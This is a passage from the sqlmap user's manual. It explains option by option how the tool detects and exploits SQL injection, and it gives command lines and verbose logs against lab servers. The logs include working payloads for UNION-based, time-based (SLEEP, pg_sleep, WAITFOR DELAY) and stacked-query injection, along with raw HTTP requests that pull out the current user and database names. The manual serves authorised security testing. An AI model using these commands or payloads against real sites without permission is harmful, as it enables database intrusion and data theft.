>     [hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:41] [INFO] url is stable
>     [hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
>     [hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-
> Agent'
>     [hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent
> parameter 'User-Agent'
>     [hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not
> numeric/unescaped injectable
>     [hh:mm:41] [INFO] testing string/single quote injection on User-Agent
> parameter 'User-Agent'
>     [hh:mm:41] [INFO] confirming string/single quote injection on User-Agent
> parameter 'User-Agent'
>     [hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single
> quote injectable
>     [hh:mm:41] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
>     [hh:mm:41] [INFO] testing MySQL
>     [hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
>     [hh:mm:41] [INFO] retrieved: 44
>     [hh:mm:41] [INFO] performed 20 queries in 0 seconds
>     [hh:mm:41] [INFO] confirming MySQL
>     [hh:mm:41] [INFO] query: LENGTH(CHAR(52))
>     [hh:mm:41] [INFO] retrieved: 1
>     [hh:mm:41] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:41] [INFO] retrieved: 4
>     [hh:mm:41] [INFO] performed 13 queries in 0 seconds
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>  
[/code]

### Force the database management system name

Option: `--dbms`

By default sqlmap automatically detects the web application's back-end
database manangement system. At the moment the fully supported database
management system are four:

  * MySQL
  * Oracle
  * PostgreSQL
  * Microsoft SQL Server

It is possible to force the name if you already know it so that sqlmap will
skip the fingerprint with an exception for MySQL to only identify if it is
MySQL < 5.0 or MySQL >= 5.0. To avoid also this check you can provide instead
`MySQL 4` or `MySQL 5`.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 \
>       --dbms "PostgreSQL"
>  
>     [...]
>     [hh:mm:31] [DEBUG] skipping to test for MySQL
>     [hh:mm:31] [DEBUG] skipping to test for Oracle
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS:    PostgreSQL
>  
[/code]

In case you provide `--fingerprint` together with `--dbms`, sqlmap will only
perform the extensive fingerprint for the specified database management
system, read below for further details.

Note that this option is **not** mandatory and it is strongly recommended to
use it **only if you are absolutely sure** about the back-end database
management system. If you do not know it, let sqlmap automatically identify it
for you.

### Force the database management system operating system name

Option: `--os`

By default sqlmap automatically detects the web application's back-end
database manangement system underlying operating system when requested by any
other functionality. At the moment the fully supported operating systems are
two:

  * Linux
  * Windows

It is possible to force the operating system name if you already know it so
that sqlmap will skip the fingerprint.

Note that this option is **not** mandatory and it is strongly recommended to
use it **only if you are absolutely sure** about the back-end database
management system underlying operating system. If you do not know it, let
sqlmap automatically identify it for you.

### Custom injection payload

Options: `--prefix` and `--postfix`

In some circumstances the vulnerable parameter is exploitable only if the user
provides a postfix to be appended to the injection payload. Another scenario
where these options come handy presents itself when the user already knows
that query syntax and want to detect and exploit the SQL injection by directly
providing a injection payload prefix and/or postfix.

Example on a **MySQL 5.0.67** target on a page where the SQL query is: `$query
= "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";`:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
>       -p "id" --prefix "'" --postfix "AND 'test'='test"
>  
>     [...]
>     [hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0
> parenthesis
>     [hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
>     [hh:mm:16] [TRAFFIC OUT] HTTP request:
>     GET
> /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
>     %28%27test%27=%27test HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>     [hh:mm:17] [INFO] GET parameter 'id' is custom injectable
>     [...]
>  
[/code]

As you can see, the injection payload for testing for custom injection is:

>
[code]

>     id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
>  
[/code]

which URL decoded is:

>
[code]

>     id=1') AND 7433=7433 AND ('test'='test
>  
[/code]

and makes the query syntatically correct to the page query:

>
[code]

>     SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test')
> LIMIT 0, 1
>  
[/code]

In this simple example, sqlmap could detect the SQL injection and exploit it
without need to provide a custom injection payload, but sometimes in the real
world application it is necessary to provide it.

### Page comparison

Options: `--string` and `--regexp`

By default the distinction of a True query by a False one \(basic concept for
Inferential blind SQL injection attacks\) is done comparing injected requests
page content MD5 hash with the original not injected page content MD5 hash.
Not always this concept works because sometimes the page content changes at
each refresh even not injecting anything, for instance when the page has a
counter, a dynamic advertisment banner or any other part of the HTML which is
render dynamically and might change in time not only consequently to user's
input. To bypass this limit, sqlmap makes it possible to manually provide a
string which is **always** present on the not injected page **and** on all
True injected query pages, but that it is **not** on the False ones. This can
also be achieved by providing a regular expression. Such information is easy
for an user to retrieve, simply try to inject on the affected URL parameter an
invalid value and compare original \(not injected\) page content with the
injected wrong page content to identify which string or regular expression
match is on not injected and True page only. This way the distinction will be
based upon string presence or regular expression match and not page MD5 hash
comparison.

Example on a **MySQL 5.0.67** target on a page which content changes every
second due to a call to PHP function `time()`:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
>       -v 5
>  
>     [...]
>     [hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
>     [hh:mm:50] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
>     Host: 192.168.1.121:80
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Fri, 25 Jul 2008 14:29:50 GMT
>     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch
> mod_ssl/2.2.8
>     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
>     X-Powered-By: PHP/5.2.4-2ubuntu5.2
>     Connection: close
>     Transfer-Encoding: chunked
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     <tr><td>1</td><td>luther</td><td>blissett</td></tr>
>     </table>
>     </body></html><p>Dynamic content: 1216996190</p>
>  
>     [hh:mm:51] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
>     Host: 192.168.1.121:80
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Fri, 25 Jul 2008 14:29:51 GMT
>     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch
> mod_ssl/2.2.8
>     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
>     X-Powered-By: PHP/5.2.4-2ubuntu5.2
>     Content-Length: 161
>     Connection: close
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     <tr><td>1</td><td>luther</td><td>blissett</td></tr>
>     </table>
>     </body></html><p>Dynamic content: 1216996191</p>
>  
>     [hh:mm:51] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
>     Host: 192.168.1.121:80
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Fri, 25 Jul 2008 14:29:51 GMT
>     Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch
> mod_ssl/2.2.8
>     OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
>     X-Powered-By: PHP/5.2.4-2ubuntu5.2
>     Content-Length: 161
>     Connection: close
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     <tr><td>1</td><td>luther</td><td>blissett</td></tr>
>     </table>
>     </body></html><p>Dynamic content: 1216996191</p>
>  
>     [hh:mm:51] [ERROR] url is not stable, try with --string or --regexp
> options, refer to
>     the user's manual paragraph 'Page comparison' for details
>  
[/code]

As you can see, the string after `Dynamic content` changes its value every
second. In the example it is just a call to PHP `time()` function, but on the
real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five
lines of code do not change at all. So choosing for instance the word `luther`
as an output that is on the not injected page content and it is not on the
False page content \(because the query condition returns no output so `luther`
is not displayed on the page content\) and passing it to sqlmap, you are able
to inject anyway.

Example on a **MySQL 5.0.67** target on a page which content changes every
second due to a call to PHP function `time()`:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
>       --string "luther" -v 1
>  
>     [hh:mm:22] [INFO] testing connection to the target url
>     [hh:mm:22] [INFO] testing if the provided string is within the target
> URL page content
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter
> 'id'
>     [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET
> parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:22] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
>     [...]
>  
[/code]

You can also specify a regular expression to match rather than a string if you
prefer.

Example on a **MySQL 5.0.67** target on a page which content changes every
second due to a call to PHP function `time()`:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
>       --regexp "<td>lu[\w][\w]er" -v 1
>  
>     [hh:mm:22] [INFO] testing connection to the target url
>     [hh:mm:22] [INFO] testing if the provided regular expression matches
> within the target
>     URL page content
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter
> 'id'
>     [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET
> parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:22] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
>     [...]
>  
[/code]

As you can see, when one of these options is specified, sqlmap skips the URL
stability test.

**Consider one of these options a must when you are dealing with a page which
content that changes itself at each refresh without modifying the user's
input**.

### Exclude specific page content

Options: `--excl-str` and `--excl-reg`

Another way to get around the dynamicity issue above explained is to exclude
the dynamic part from the page content before processing it.

As you see in the above example the number after `Dynamic content: `was
dynamic and changed each second. To get around of this problem we could use
the above explained page comparison options or exclude this snippet of dynamic
text from the page before processing it and comparing it with the not injected
page.

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
>       --excl-reg "Dynamic content: ([\d]+)"
>  
>     [hh:mm:22] [INFO] testing connection to the target url
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is
> dynamic
>     [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter
> 'id'
>     [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET
> parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:22] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
>     [...]
>  
[/code]

As you can see, when this options is specified, sqlmap skips the URL stability
test.

## 5.5 Techniques

### Test for stacked queries \(multiple statements\) support

Option: `--stacked-test`

It is possible to test if the web application technology supports **stacked
queries** , multiple statements, on the injectable parameter.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
>       --stacked-test -v 1
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:15] [WARNING] the web application does not support stacked
> queries on parameter 'id'
>     stacked queries support:        None
>  
[/code]

By default PHP builtin function `mysql_query()` does not support multiple
statements. Multiple statements is a feature supported by default only by some
web application technologies in relation to the back-end database management
system. For instance, as you can see from the next example, where PHP does not
support them on MySQL, it does on PostgreSQL.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
>       --stacked-test -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:06] [INFO] the web application supports stacked queries on
> parameter 'id'
>     stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
>  
[/code]

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
>       --stacked-test -v 1
>  
>     [...]
>     back-end DBMS: Microsoft SQL Server 2005
>  
>     [hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
>     [hh:mm:23] [INFO] the web application supports stacked queries on
> parameter 'name'
>     stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND
> 'wRcBC'='wRcBC'
>  
[/code]

### Test for time based blind SQL injection

Options: `--time-test` and `--time-sec`

It is possible to test if the target URL is affected by a **time based blind
SQL injection** vulnerability.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
>       --time-test -v 1
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:05] [INFO] testing time based blind sql injection on parameter
> 'id' with AND
>     condition syntax
>     [hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind
> sql injection
>     with AND condition syntax
>     time based blind sql injection payload:    'id=1 AND SLEEP(5) AND
> 5249=5249'
>  
[/code]

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
>       --time-test -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:30] [INFO] testing time based blind sql injection on parameter
> 'id' with AND
>     condition syntax
>     [hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based
> blind sql
>     injection with AND condition syntax
>     [hh:mm:30] [INFO] testing time based blind sql injection on parameter
> 'id' with stacked
>     query syntax
>     [hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind
> sql injection
>     with stacked query syntax
>     time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);--
> AND 9644=9644'
>  
[/code]

Example on a **Microsoft SQL Server 2005 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
>       --time-test -v 1
>  
>     [...]
>     back-end DBMS: Microsoft SQL Server 2005
>  
>     [hh:mm:59] [INFO] testing time based blind sql injection on parameter
> 'name' with AND
>     condition syntax
>     [hh:mm:59] [WARNING] the parameter 'name' is not affected by a time
> based blind sql
>     injection with AND condition syntax
>     [hh:mm:59] [INFO] testing time based blind sql injection on parameter
> 'name' with stacked
>     query syntax
>     [hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind
> sql injection with
>     stacked query syntax
>     time based blind sql injection payload:    'name=luther'; WAITFOR DELAY
> '0:0:5';-- AND
>     'PmrXn'='PmrXn'
>  
[/code]

It is also possible to set the seconds to delay the response by providing the
`--time-sec` option followed by an integer. By default it delays five seconds.

### Test for UNION query SQL injection

Options: `--union-test` and `--union-tech`

It is possible to test if the target URL is affected by a **UNION query
\(inband\) SQL injection** vulnerability. Refer to the  _Techniques_ section
for details on this SQL injection technique.

Example on an **Oracle XE 10.2.0.1** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
>       --union-test -v 1
>  
>     [...]
>     back-end DBMS:  Oracle
>  
>     [hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with
> NULL bruteforcing
>     technique
>     [hh:mm:27] [INFO] the target url could be affected by an inband sql
> injection vulnerability
>     valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1
> UNION ALL SELECT
>     NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
>  
[/code]

By default sqlmap uses the **`NULL` bruteforcing** technique to detect the
number of columns within the original `SELECT` statement. It is also possible
to change it to**`ORDER BY` clause bruteforcing** with the `--union-tech`
option.

Further details on these techniques can be found here.

Example on a **PostgreSQL 8.3.5** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
>       --union-test --union-tech orderby -v 1
>  
>     [...]
>     back-end DBMS: PostgreSQL
>  
>     [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with
> ORDER BY clause
>     bruteforcing technique
>     [hh:mm:51] [INFO] the target url could be affected by an inband sql
> injection vulnerability
>     valid union:    'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1
> ORDER BY 3-- AND
>     1262=1262'
>  
[/code]

As you can see, the target URL parameter `id` might be also exploitable by the
inband SQL injection technique. In case a case it is strongly recommended to
use this technique which saves a lot of time.

It is strongly recommended to run at least once sqlmap with the `--union-test`
option to test if the affected parameter is used within a `for` cycle, or
similar, and in case use `--union-use` option to exploit this vulnerability
because it saves a lot of time and it does not weight down the web server log
file with hundreds of HTTP requests.

### Use the UNION query SQL injection

Option: `--union-use`

Providing the `--union-use` parameter, sqlmap will first test if the target
URL is affected by an **inband SQL injection** \(`--union-test`\)
vulnerability then, in case it seems to be vulnerable, it will confirm that
the parameter is affected by a **Full UNION query SQL injection** and use this
technique to go ahead with the exploiting. If the confirmation fails, it will
check if the parameter is affected by a **Partial UNION query SQL injection**
, then use it to go ahead if it is vulnerable. In case the inband SQL
injection vulnerability is not exploitable, sqlmap will automatically fallback
on the blind SQL injection technique to go ahead.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \
>       --union-use --banner
>  
>     [...]
>     back-end DBMS:  Microsoft SQL Server 2000
>  
>     [hh:mm:42] [INFO] fetching banner
>     [hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with
> NULL bruteforcing
>     technique
>     [hh:mm:42] [INFO] the target url could be affected by an inband sql
> injection vulnerability
>     [hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
>     [hh:mm:42] [INFO] the target url is affected by an exploitable full
> inband sql injection
>     vulnerability
>     [hh:mm:42] [INFO] query:  UNION ALL SELECT NULL,
> (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
>     CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)),
> (CHAR(32)))+(CHAR(70)+CHAR(82)+
>     CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
>     [hh:mm:42] [INFO] performed 3 queries in 0 seconds
>     banner:
>     ---
>     Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
>             Aug  6 2000 00:57:48
>             Copyright (c) 1988-2000 Microsoft Corporation
>             Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
>     ---
>  
[/code]

As you can see, the vulnerable parameter \(`id`\) is affected by both blind
SQL injection and exploitable full inband SQL injection vulnerabilities.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
>       --union-use --current-user
>  
>     [...]
>     [hh:mm:29] [INFO] the target url is affected by an exploitable full
> inband sql
>     injection vulnerability
>     [hh:mm:29] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(112,110,121,77,88,86),
>     IFNULL(CAST(CURRENT_USER() AS CHAR(10000)),
> CHAR(32)),CHAR(72,89,75,77,121,103)),
>     NULL# AND 8032=8032
>     [hh:mm:29] [TRAFFIC OUT] HTTP request:
>     GET
> /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
>
> %2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
>
> %29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
>     %208032=8032 HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 192.168.1.121:80
>     Accept-language: en-us,en;q=0.5
>     Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
>     Connection: close
>  
>     [hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
>     Date: Tue, 16 Dec 2008 hh:mm:29 GMT
>     Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch
> mod_ssl/2.2.9
>     OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
>     X-Powered-By: PHP/5.2.6-2ubuntu4
>     Content-Length: 194
>     Connection: close
>     Content-Type: text/html
>  
>     <html><body>
>     <b>SQL results:</b>
>     <table border="1">
>     <tr><td>1</td><td>luther</td><td>blissett</td></tr>
>     <tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
>     </table>
>     </body></html>
>  
>     [hh:mm:29] [INFO] performed 3 queries in 0 seconds
>     current user:    'testuser@localhost'
>  
[/code]

As you can see, the MySQL `CURRENT_USER()` function \(--current-user\) output
is nested, inband, within the HTTP response page, this makes the inband SQL
injection exploited.

In case the inband SQL injection is not fully exploitable, sqlmap will check
if it is partially exploitable: this occurs if the query output is not parsed
within a `for`, or similar, cycle but only the first entry is displayed in the
page content.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
>       --union-use --dbs
>  
>     [...]
>     back-end DBMS: MySQL >= 5.0.0
>  
>     [hh:mm:56] [INFO] fetching database names
>     [hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with
> NULL bruteforcing
>     technique
>     [hh:mm:56] [INFO] the target url could be affected by an inband sql
> injection vulnerability
>     [hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
>     [hh:mm:56] [WARNING] the target url is not affected by an exploitable
> full inband sql
>     injection vulnerability
>     [hh:mm:56] [INFO] confirming partial inband sql injection on parameter
> 'id'
>     [hh:mm:56] [INFO] the target url is affected by an exploitable partial
> inband sql injection
>     vulnerability
>     [hh:mm:56] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(90,121,78,99,122,76),
>     IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)),
> CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
>     FROM information_schema.SCHEMATA# AND 1062=1062
>     [hh:mm:56] [INFO] performed 6 queries in 0 seconds
>     [hh:mm:56] [INFO] the SQL query provided returns 4 entries
>     [hh:mm:56] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
>     CAST(schema_name AS CHAR(10000)),
> CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
>     information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
>     [hh:mm:56] [INFO] performed 7 queries in 0 seconds
>     [hh:mm:56] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
>     CAST(schema_name AS CHAR(10000)),
> CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
>     information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
>     [hh:mm:56] [INFO] performed 8 queries in 0 seconds
>     [hh:mm:56] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
>     CAST(schema_name AS CHAR(10000)),
> CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
>     information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
>     [hh:mm:56] [INFO] performed 9 queries in 0 seconds
>     [hh:mm:56] [INFO] query:  UNION ALL SELECT NULL,
> CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
>     CAST(schema_name AS CHAR(10000)),
> CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
>     information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
>     [hh:mm:56] [INFO] performed 10 queries in 0 seconds
>     available databases [4]:
>     [*] information_schema
>     [*] mysql
>     [*] privatedb
>     [*] test
>  
[/code]

As you can see, sqlmap identified that the parameter is affected by a partial
inband SQL injection, consequently counted the number of query output entries
and retrieved once per time by forcing the parameter \(`id`\) value `1` to its
negative value `-1` so that it does not returns, presumibly, any output
leaving our own `UNION ALL SELECT` statement to produce one entry at a time
and display it in the page content.

## 5.6 Fingerprint

### Extensive database management system fingerprint

Options: `-f` or `--fingerprint`

By default the web application's back-end database management system
fingerprint is performed requesting a database specific function which returns
a known static value. By comparing these value with the returned value it is
possible to identify if the back-end database is effectively the one that
sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax
which is syntatically correct depending upon the back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end
database management system and go ahead with the injection with its specific
syntax within the limits of the database architecture.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
>  
>     [...]
>     [hh:mm:17] [INFO] testing MySQL
>     [hh:mm:17] [INFO] confirming MySQL
>     [hh:mm:17] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:17] [INFO] retrieved: 5
>     [hh:mm:17] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:17] [INFO] the back-end DBMS is MySQL
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0
>  
[/code]

As you can see, sqlmap automatically fingerprints the web server operating
system and the web application technology by parsing some HTTP response
headers.

If you want to perform an extensive database management system fingerprint
based on various techniques like specific SQL dialects and inband error
messages, you can provide the `--fingerprint` option.

Example on a **MySQL 5.0.67** target:

>
[code]

>     $ python sqlmap.py -u
> "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f
>  
>     [...]
>     [hh:mm:49] [INFO] testing MySQL
>     [hh:mm:49] [INFO] confirming MySQL
>     [hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT
> 0, 1
>     [hh:mm:49] [INFO] retrieved: 3
>     [hh:mm:49] [INFO] performed 13 queries in 0 seconds
>     [hh:mm:49] [INFO] the back-end DBMS is MySQL
>     [hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.PARAMETERS
> LIMIT 0, 1
>     [hh:mm:49] [INFO] retrieved:
>     [hh:mm:49] [INFO] performed 6 queries in 0 seconds
>     [hh:mm:49] [INFO] query: MID(@@table_open_cache, 1, 1)
>     [hh:mm:49] [INFO] retrieved:
>     [hh:mm:49] [INFO] performed 6 queries in 0 seconds
>     [hh:mm:49] [INFO] query: MID(@@hostname, 1, 1)
>     [hh:mm:49] [INFO] retrieved: t
